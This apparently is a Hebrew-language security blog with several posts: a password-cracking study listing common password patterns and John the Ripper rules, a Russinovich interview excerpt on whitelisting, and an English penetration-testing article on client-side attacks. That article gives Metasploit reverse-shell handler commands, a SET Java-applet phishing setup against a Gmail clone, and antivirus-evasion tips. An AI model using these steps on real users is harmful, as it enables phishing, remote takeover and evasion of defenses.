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best Google search-FU ever new tool




讛专爪讗讜转 DEFCON 2012 诪转讞讬诇讜转 诇讝专讜诐 讗讟 讗讟 诇tube , 讗讞转 诪讛诐 讻讘专 讻讗谉 讜诪爪讬讙讛 讻诇讬 讘讙专住讛 讞讚砖讛 诇GOOGLE DORKING  - 讛讟讜讘 讘讬讜转专 砖专讗讬转讬 注讚 讛讬讜诐.
讛讻诇讬 诪讻讬诇 注砖专讜转 驻讬爪'专讬诐 讜诇讻谉 诪诪诇讬抓 讘 讞 讜 诐 诇专讗讜转 讗转 讛讛专爪讗讛 砖诇 讛讞讘专讛 讛讗诇讜  讻 讗 谉  
谞讬转谉 诇讛讜专讬讚  诪 讻 讗 谉

讬砖 诇谞讜 驻讬爪讜讞!! ----more on passwords cracking




讛砖谞讛 讛讗讞专讜谞讛 讛讬转讛 注诪讜住讛 讻专讬诪讜谉 讘讚诇讬驻转 诪住讚讬 谞转讜谞讬诐 讛诪讻讬诇讬诐 住住诪讗讜转 .

讗转专讬 注谞拽 讻讙讜谉 诇讬谞拽讚讗讬谉 讜专讜拽 讬讜 讛讜转拽驻讜 讘讚专讱 讻诇诇 讚专讱 讛讝专拽转 SQL 讜讞砖驻讜 诪讬诇讬讜谞讬 住讬住诪讗讜转 诪砖转诪砖讬诐 , 讞诇拽诐 诪讜爪驻谞讬诐 (HASH) 讜\讞诇拽诐 诇讗 .
讞砖讬驻讛 讙讚讜诇讛 讻讝讜 砖诇 住讬住诪讗讜转 " 注讜诇诐 讗诪讬转讬" ,诪注讘专 诇砖讬拽讜祝 砖诇 诪爪讘 讗讘讟讞转讬 注讙讜诐 砖诇 讞讘专讜转 讙讚讜诇讜转 讘诪砖拽- 诪讗驻砖专 诪讞拽专 住讟讗讟讬住讟讬  讜谞讬转讜讞 转讘谞讬讜转 砖诇 讘讞讬专转 住讬住诪讗讜转 注"讬 讛诪砖转诪砖讬诐 ( 讜转转驻诇讗讜 诇讚注转 讻诪讛 讗谞讞谞讜 诇讗 诪拽讜专讬讬诐 讘注诇讬诇..).

诪讞拽专 讻讝讛 谞注专讱 注"讬 讞讘专转 kore logic security . 讛讞讘专讛 诪谞讛诇转 转讞专讜讬讜转 诇驻讬爪讜讞 住住诪讗讜转 讜诪驻专住诪转 讗转 砖讬讟讜转 讛驻讬爪讜讞 讛讻讜诇诇讜转: 讛讘谞讜转 住讟讗讟讬住讟讬讜转,专砖讬诪讜转 诪讬诇讬诐 谞驻讜爪讜转 , 转讘谞讬讜转 ( RULES) 注讘讜专 john the ripper 讜讻谉 讗转 讚讬专讜讙 讻诇讬 讛驻专讬爪讛 讛诪讜诪诇爪讬诐 诇驻讬 转讜爪讗讜转 讛转讞专讜讬讜转.

讗谞拽讚讜讟讛 拽讟谞讛 砖专爪讬转讬 诇讛转注拽讘 注诇讬讛 诪讚讘专转 注诇 讻诇讬 砖诇讗 讛讬讛 讬讚讜注 诇讬 讘砖诐 HASH CAT 讛讻讜诇诇 讙诐 讙专住转 GUI .
 讛讬讞讜讚讬讜转 砖诇 讻诇讬 讝讛 诪注讘专 诇谞讜讞讜转 砖诇讜 讛讜讗 讛砖讬诪讜砖 讘 GPU ( 讻专讟讬住讬诐 讙专讗驻讬诐) 诇讘讬爪讜注 驻注讜诇讜转 讛驻讬爪讜讞 - 转讜诪讱 注讚 砖讬专砖讜专 砖诇 120 讻专讟讬住讬诐 !!! - 讛讻诇讬 讛讝讛 讛讜讗 讙诐 讘讚专讱 讻诇诇 讛诪谞爪讞 讛讙讚讜诇 讘转讞专讬讜转 驻讬爪讜讞 住住诪讗讜转 讛谞注专讻讜转 讘 DEFCON  注"讬 kore logic security .

诪诪诇讬抓 诇拽专讗 讗转 讛诪讞拽专 讜诇讛讜专讬讚 讗转 专砖讬诪转 讛诪讬诇讬诐.

讗讝 诪讛 讛讛讗拽专讬诐 诇诪讚讜 讜讛驻讻讜 诇转讘谞讬讜转 驻专讬爪讛 诇住住讬住诪讗 :

讞讜拽讬诐 拽讬诪讬诐 讘诪谞讜注 讛讞讜拽讬诐 砖诇 john the ripper:

  1. 讛讜住驻转 诪住驻专讬诐 讘住讜祝 讛住住诪讛
  2. 讗讜转 讙讚讜诇讛 讘转讞讬诇转 讻诇 诪讬诇讛
  3. 讛讜住驻转 ! 诇住讬讜诐 诪讬诇讛 注诐 转讞讬诇讬讜转 讗讜转 讙讚讜诇讛
  4. 讛讜住驻转 123 讘转讞讬诇讛 讗讜 讘住讜祝 讛住住诪讛.
  5. 讜专讬讗爪讬讜转 注诇 砖诐 讛诪砖转诪砖 ( 讛讜住驻转 住讬诪谞讬诐 诪讬讜讞讚讬诐,诪住驻专讬诐 讜讻讜)
讞讜拽讬诐 诪讜专讞讘讬诐 砖讛讜住驻讜 注"讬 kore logic:
  1. 4 讗讜转讬讜转+4诪住驻专讬诐  讗讜 5 讗讜转讬讜转 +3 诪住驻专讬诐 讗讜 3 讗讜转讬讜转 +5 诪住驻专讬诐. Nove2010  Fall2010
  2. 讛讜住驻转 1234 讘住住诪讗 讘转讞讬诇转讛 讗讜 讘住讜驻讛. - 1234pass  !QAZ1234
  3. 砖讬诪讜砖 讘砖谞讛 讛谞讜讻讞讬转 讻诪住驻专 讘转讜讱 讛住住诪讛 -!Jan2012   2012!!   Work2012aha
  4. 砖讬诪讜砖 讘砖谞讛 谞讜讻讞讬转 讗讜 拽讜讚诪转 讻诪住驻专 + 住讬诪谉 诪讬讜讞讚  2010ly!!   2001MARK2010!!   2010#dec 
  5. 讞讜讚砖讬诐 讜讬诪讬诐 讘转讞讬诇转 讘讗诪爪注 讗讜 讘住讜祝 讛住住诪讗--January!2006  March#16  OctO2008$ Octo2**9   Octob!!05 Friday.56  Thursday99=
  6. 讛讜住驻转 住讬诪谞讬诐 诪讬讜讞讚讬诐 讘住讜祝 讛住住诪讛 讗讜 讘讛转讞诇转 !1q1q1q1q !! -FRANCE#  BonJovi@ 
  7. 转讜住驻转 住讬诪谞讬诐 诪讬讜讞讚讬诐 讘爪讜专讛 " 诪讬讜讞讚转" Africa!1   AmyOct!1   Kar!dani1 T@Y!OR1  b@byg!r1  Amanda!1  A!lison1   We!come1 S!LVER1  Amelia7!1
  8. 转讘谞讬讜转 讗爪讘注讜转 - 诪砖转诪砖讬诐 讗讜讛讘讬诐 诪讗讚 诇讛砖转诪砖 讘住住诪讗讜转 诇驻讬 住讬讚讜专 讛诪拽砖讬诐 讘诪拽诇讚转 讚讜讙诪讗:
    1. !1234qwe   !@#$QWE ASDFqwer !QWERTY  NHY^5tgb
  9. 诪讬诇讬诐 讛拽砖讜专讜转 诇住讘讬讘讜转 驻讬转讜讞 驻专讜讚 讗讜 讘讚讬拽讜转-Prod!111  prod@123 TEST-CO   test!ng

专砖讬诪讜转 诪讬诇讬诐 诇讛诐 讛爪诇讞讛 讟讜讘讛 ( 谞讬转谉 诇讛讜专讬讚 诪讛讗转专 砖诇讛诐):


Seasons - Months - Years - First Names - Last Names - Cities - States -
Regions - Countries - "RockYou" List - Regions of India/China/USA -
Religious references (books of the Bible, lists of Gods, etc) - keyboard
combinations - 4 letter words - 5 letter words - 6 letter words - 7 letter
words - Sports Teams - Colleges - Client specific words - Dates -
Numbers - Common wordlists – Facebook Names List (‘fbnames’)

诪住拽谞讛 讗讞转 讙讜专驻转:

  1. 住讬讘讜讱 住住诪讗讜转 ( password complexity ) 诇讗 讙讜专诪讜转 诇诪砖转诪砖 诇讘讞讜专 住住诪讗讜转 "讟讜讘讜转 讬讜转专" 讗诇讗 诪讻专讬讻讜转 讗转 讛诪砖转诪砖 诇讛砖转诪砖 讘讟专讬拽讬诐 讗讜 转讘谞讬讜转 . 转讘谞讬讜转 讗诇讜 拽诇 诇爪驻讜转 讜诇驻爪讞 讘讝诪谉 拽爪专.
  2. 住讬住诪讗讜转 讙讬砖讛 讘讗讬谞讟专谞讟 注讜讚 驻讞讜转 诪讘讗讜讘讟讞讜转 讜拽诇讜转 诇驻专讬爪讛 诪讝讜 砖诇 驻谞讬诐 转讗讙讬讚讬诐 
  3. 讬砖 诇注讘讜专 诇 2 factor authentication  讻讻诇 讛谞讬转谉 (google,yahoo etc)
  4. 转讗讙讬讚讬诐- 诇诇诪讜讚 讗转 讛转讘谞讬讜转 讛谞驻讜爪讜转 讘讗专讙讜谉 讜诇讛讙讘讬诇 讘讗诪爪注讬诐 讟讻谞讬讬诐 ( 讻谉 讻谉 - 谞住讜 诇驻爪讞 住住诪讗讜转 砖诇 讛注讜讘讚讬诐 砖诇讻诐 -))












诪讗专拽 专讜住讬谞讜讘讬抓 注诇 诪讙诪讜转 讘讗讘讟讞 诪讬讚注


诪讗专拽 专讜住讬谞讜讘讬抓 诇诪讬 砖诇讗 讬讜讚注,讛讜讗 讛讗讚讛 砖讻转讘转讛 讗转 SYSINTERNALS TOOLS 讛讞讬谞诪讬讬诐 讛诪讜讻专讬诐 诇讻诇 讗讚诪讬谉 讜讗讬砖 诪讞砖讘讬诐 讘讗砖专 讛讜讗.
讛讗讙讚讛 讗讜诪专转 砖讛讜讗 诪讘讬谉 讘诪注专讻讜转 诪讬拽专讜住讜驻讟 讬讜转专 诪讛诪驻转讞讬诐 砖诇 诪注专讻讜转 讗讬诇讜 注爪诪诐 -),
讘住讜驻讜 砖诇 讚讘专 诪讬拽专讜住讜驻讟 拽谞转讛 讗讜转讜 诇砖讜专讜转讬讛 讗讘诇 讬讗诪专 诇讝讻讜转诐 讻讬 讛砖讗讬专讜 讗转 讛讻诇讬诐 砖讛讜讗 驻讬转讞 -讞讬谞诪讬讬诐.
讘讗讞讚 讛驻讜讚拽讗住讟讬诐 砖讘讜 讛讜讗 讛转讗专讞 诇讗讞专讜谞讛 讜诪讚讘专 注诇 讛住驻专讬诐 砖讛讜讗 讻讜转讘
讛讜讗 诪讚讘专 注诇 注转讬讚 讗讘讟讞转 讛诪讬讚注 讘注讚谉 讛砖诇讬砖讬 砖诇 注讜诇诐 讛诪讞砖讘讬诐 - 注讬讚谉 讛注谞谉 讜讛诪讜讘讬讬诇.
讛注讬讚谉 讛专讗砖讜谉 讛讬讛 MAIN FRAME ,讛注讬讚谉 讛砖谞讬 讛讜讗 注讬讚谉 讛 CLIENT_SERVER

讛谞讛 讛讟专谞住拽专讬驻讟 砖诇 讛砖讬讞讛 ( 讘讛讝讚诪谞讜转 讗谞讬 讗转专讙诐)
诪注谞讬讬谉 诪讗讜讚:



MARK:  Well, the bigger trends, I think we're right in the middle of the third disruption in the computer industry, the first one being the mainframes, the second one being client-server, and this one being cloud and mobile.  So that's one that's affecting everybody and the way that everybody thinks about software, from enterprise developers to ISDs to consumers.  But underneath that, as far as security goes, I think that what we're seeing - and I've been a proponent of this form of security, the security technique, the security mechanism since shortly after 2000, when I started to really focus on what my software company, Winternals at the time, could do from a security perspective, and that is whitelisting.  Back then whitelisting was something that nobody used.  Windows and UNIX had some whitelisting capabilities, but very, very few people used it.  And that's been the case up until very recently.

And people I don't think are really aware of this, but now whitelisting has become one of the key security features of the modern client platforms.  When you look at iOS, for example, Apple's ecosystem, it's a complete whitelisted ecosystem.  The whitelist, you can only run the software on the phones that have been approved by Apple and curated by Apple.  Apple is essentially creating their whitelist in their Apple store.  And that has made those platforms - Android's got one.  It's not as well curated, so we've seen a problem with that.  And then Windows Phone's got a curated whitelist, as well, and Windows 8 does, too, that those whitelists, you see the dramatic impact on the security of the system by having that whitelisting in place.  Even if there is - and the sandboxing that goes with the whitelisting, as well.  So I think I feel somewhat vindicated because I've always believed whitelisting would come back and become one of the primary tools in a cybersecurity posture or platform.  And we're seeing that with the cloud platforms really adopting it and seeing the dramatic effects of that being in place.

Client Side Attacks


taken from :






Industrializing Client Side Attacks

Introduction

Cybercrime has evolved into an industry whose value in fraud and stolen property exceeded one trillion dollars in 2009. By contrast, in 2007, professional hacking represented a multibillion-dollar industry. What explains this rapid growth? Industrialization. Just as the Industrial Revolution advanced methods and accelerated assembly from single to mass production in the 19th century, today’s cybercrime industry has similarly transformed and automated itself to improve efficiency, scalability, and profitability.

The industrialization of hacking coincides with a critical shift in focus. Previously, hackers concentrated attacks on breaking perimeter defences. But today, the goal has changed. The objective is no longer perimeter penetration and defense. Today’s hacker is intent on seizing control of data and the applications that move this data. This is why attacks against Web applications constitute more than 60 percent of total attack attempts observed on the Internet.

Today's Hacking Scene 

Today’s complex hacking operation now utilizes teamwork, global coordination, and sophisticated criminal techniques designed to elude detection. In recent years, a clear definition of roles and responsibilities has developed within the hacking community forming a supply chain that resembles that of a drug cartel. Additionally, the machine of choice is the botnet – armies of unknowingly enlisted computers controlled by hackers. Modern botnets scan and probe the Web seeking to exploit vulnerabilities and extract valuable data, conduct brute force password attacks, disseminate spam, distribute malware, and manipulate search engine results. These botnets operate with the same comprehensiveness and efficiency used by Google spiders to index websites. Researchers estimate that some 14 million computers have already been enslaved by botnets. 

Improvements in automated and formalized attack tools and services have introduced a new set of security problems for businesses. Of the top 10 data breaches in 2009, half involved stolen laptops, while the other half involved Web and database assaults.

Client side attacks are on the rise

Client-side vulnerabilities are among the biggest threats facing users, nowadays's there has been a slight shift to the client side because server-side applications have been targets for attackers since 2001, and these applications have matured somewhat. Attackers are also going after weaknesses in desktop applications such as browsers, media players, common office applications and e-mail clients. The remedy is to maintain the most current application patch levels, keep antivirus software updated and seek and remove unauthorized applications.

Understanding client side attacks 

In order to understand client-side attacks, let us briefly describe server-side attacks that we can contrast to client-side attacks. Servers expose services that clients can interact with. These services are accessible to clients that would like to make use of these services. As a server exposes services, it exposes potential vulnerabilities that can be attacked. Merely running a server puts oneself at risk, because a hacker can initiate an attack on the server at any time. 

Client-side attacks are quite different. These are attacks that target vulnerabilities in client applications that interact with a malicious server or process malicious data. Here, the client initiates the connection that could result in an attack. If a client does not interact with a server, it is not at risk, because it doesn’t process any potentially harmful data sent from the server. 

A typical example of a client-side attack is a malicious web page targeting a specific browser vulnerability that, if the attack is successful, would give the malicious server complete control of the client system. Client-side attacks are not limited to the web setting, but can occur on any client/server pairs, for example e-mail, FTP, instant messenging, multimedia streaming, etc.

Clients are only protected in environments where access from internal clients to servers on the Internet is restricted via traditional defenses like firewalls or proxies. However, a firewall, unless combined with other technologies such as IPS, only restricts network traffic; once the traffic is permitted, a client interacting with a server is at risk. More advanced corporate server filtering solutions are available, but typically these only protect limited set of client technologies.

Drop-ing the payload

There are various way an a attacker can drop her payload to the targeted workstation or laptop, some of them are listed below:

Through clicking evil links hiding malicious payloads hold on a malicious server controlled by the attacker.
Through vulnerable web servers by either compromising them or exploiting vulnerabilities on them.
Through Man In The Middle attacks.
Through phishing e-mails also holding malicious payloads.
Through various other attacks that are out of the scope of this article.The following image shows one of the most popular ways to "seduce" a user into clicking on a malicious web site:


Note: This is an old fashioned attack approach, very well replicated by the penetration testing community during hacking attack. Of course social engineering is also used through out that process.

The actual attack simplified 

All you need to perform this type of attack is the Social Engineering Toolkit (SET) and Metasploit, well not exactly, that is not true if you are targeting high profile targets. But first lets explain the simplified version of the attack. In order the perform client side attack to a user that is NOT protected by some serious hardening such as a reverse SSL proxy with content inspection features and a firewall with proper egress filtering then the tools mentioned above will do the job. By using the tools described above the following steps have to be taken:

Set up a listener bind to a public IP or DNS name.
Demonize the listener. 
Research the victims laptop software and hardware. 
Social engineer the user to download and execute it to her laptop.
Use proper payloads for post exploiting the victim.Note: Again this is a simplified attack sequence and is not going to work in a laptop or workstation that is hardened and the user is not allowed to install software.

Setting up the listener

So after we successfully generate the desired payload, which by the way I named it ClickMe.exe, and verify that it is a valid executable file by issuing the file command we move forward on how to launch the handler on the attackers machine, so in order to do that we type the following commands in the order given below:

cd /pentest/exploits/framework3
./msfconsole 
msf > use exploit/multi/handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST publicIP
msf exploit(handler)> set LPORT 123
msf exploit(handler)> exploit -jNote: The attackers machine should be accessible some how from victims machine (e.g. by using a publicly static IP or DynDNS).

Generating the payload and setting up the clone

SET is specifically designed to perform advanced attacks against the human element. SET was designed to be released with the http://www.social-engineer.org launch and has quickly became a standard tool in a penetration testers arsenal. SET has a feature called “set-automate” which will take an answer file as an input and enter the commands in the menu mode for you. So for example if I wanted to do the Java Applet I would create a file with the following text:

1
2
1

https://gmail.com no

Now lets name the file mySET.txt, the command that will execute a java applet attack would be:

root@bt:/pentest/exploits/set# ./set-automate mySET.txt 

Note: The described configuration will launch multiple web-based attack from SET using the Java Applet attack method by embedding a malicious Java Applet to a gmail clone. SET will also launch the listener but it would better if you do it manually.

After a successful compromise 

If the victim is properly social engineered and execute the payload then the meterpreter agent will launch back a remote shell connection. The Meterpreter (short for Meta Interpreter) payload will give an attacker a presence in memory only payload, and reduce the attackers need to touch disk to zero. Metasploit will upload a DLL (Meterpreter) to the remote host; the uploaded DLL will be stored in the compromised processes heap. Meterpreter once loaded offers the attacker a plethora of options.

Once Meterpreter’s staged shellcode has been executed and Meterpreter has been loaded, communication begins. Meterpreter’s communication and extensibility are what makes it so valuable to an advanced attacker. For the purposes of this article think about the attacker as the client, and the victim as the server.Meterpreter uses a protocol called Type Length Value (TLV).

Why the above methods wont work on a corporate environment

When referring to a hardened corporate environment a set of prevention technologies is used to protect the user workstations such as anti-virus software, endpoint security software with personal firewall, e-mail gateways/anti-spam middle systems devices, web gateways performing deep content inspection to non-encrypted connections, reverse SSL proxies filtering all SSL connections that validate payload certificates and finally IDS/IPS devices are also included.

Many advanced payloads do not work very well running in x86-64 (Windows).
Very restrictive inbound and outbound firewall rules.
Authentication is required for outgoing connections.
Bypassing defenses

There are numerous techniques in defeating the all defenses mentioned above some of them are:

Code signing certificate for the payload (e.g. for the Meterpreter executable or the Meterpreter malicious Java Applet).
A SSL certificate from a trustworthy Certificate Authority, for the payload communication protocol.
Use costume communication protocol instead of the one used by the Meterpreter since you don't want to be detected and blocked because you’re mimicking the behavior of a well-known hacking tool.The Metasploit meterpreter reverse_http(s) payload contains the string "Meterpreter" on the User-Agent variable.
Create a custom payload or add your own evasion techniques, this way almost any signature detection system can be bypassed.
Avoid process dll injection while delivering the payload. The latest versions of windows enforce session separation so some of the methods may not work on the latest version of windows like windows 7/8.Why code signing is not secure

Code signing can provide several valuable features. The most common use of code signing is to provide security when deploying; in some programming languages, it can also be used to help prevent namespace conflicts. Almost every code signing implementation will provide some sort of digital signature mechanism to verify the identity of the author or build system, and a checksum to verify that the object has not been modified. It can also be used to provide versioning information about an object or to store other meta data about an object.

Many code signing implementations will provide a way to sign the code using a system involving a pair of keys, one public and one private, similar to the process employed by SSL or SSH. For example, in the case of .NET, the developer uses a private key to sign their libraries or executables each time they build. This key will be unique to a developer or group or sometimes per application or object. The developer can either generate this key on their own or obtain one from a trusted certificate authority (CA).Of course it is not so difficult to sign a malicious code, unauthorized digital certificates have been found that chain up to a Microsoft sub-certification authority issued under the Microsoft Root Authority that can be used to sign malicious code. 

More specifically components of the Flame malware were found to be signed with a certificate that chained up to the Microsoft Enforced Licensing Intermediate PCA certificate authority, and ultimately, to the Microsoft Root Authority. This code-signing certificate came by way of the Terminal Server Licensing Service that operate to issue certificates to customers for ancillary PKI-based functions in their enterprise. Such a certificate could (without this update being applied) also allow attackers to sign code that validates as having been produced by Microsoft.

Why valid certificates are not secure

Obtaining a valid certificate and using it with SET is easy. The fact that this is easy can be verified by numerous web site reporting compromised certificates, one of them is this one:

http://www.ccssforum.org/malware-certificates.phpThis is an extract from the web site with a long list of compromised certificates: "The following is a list of digital certificates that have been reported by the forum as possibly being associated with malware to various certificate authorities. This information is intended to help prevent companies from using digital certificates to add legitimacy to malware and encourage prompt revocation of such certificates." 

Obfuscating Meterpreter 

It is really easy to obfuscate Meterpreter, in the following post http://spareclockcycles.org/tag/meterpreter/ the person that owns the blog explains that he/she managed to obfuscate the Meterpreter by writing a XOR program in python. The following extract is from the blog:

"What surprised me during all of this was how ridiculously easy it is to do just that. About 60 lines of Python (I know, way too many) and 20 lines of C was all it took to take my detection rate from 40% to 1% (32 bit version / 64 bit version). The Python code largely is just to automate things, but it also made the XOR crypting easier and allowed me to more easily embed arbitrary executables in my code (which is useful in embedding other, non-metasploit payloads)."

Epilogue

The drop-ing payload is a very important part of a social engineering attack. If you are doing all the other stages like a professional but use an average payload you won't get the great results you expect. Client-side attacks and social engineering should be included in every penetration testing engagement, if you are not testing for social engineering attacks a very significant attack vector that real hackers use will be skipped. 


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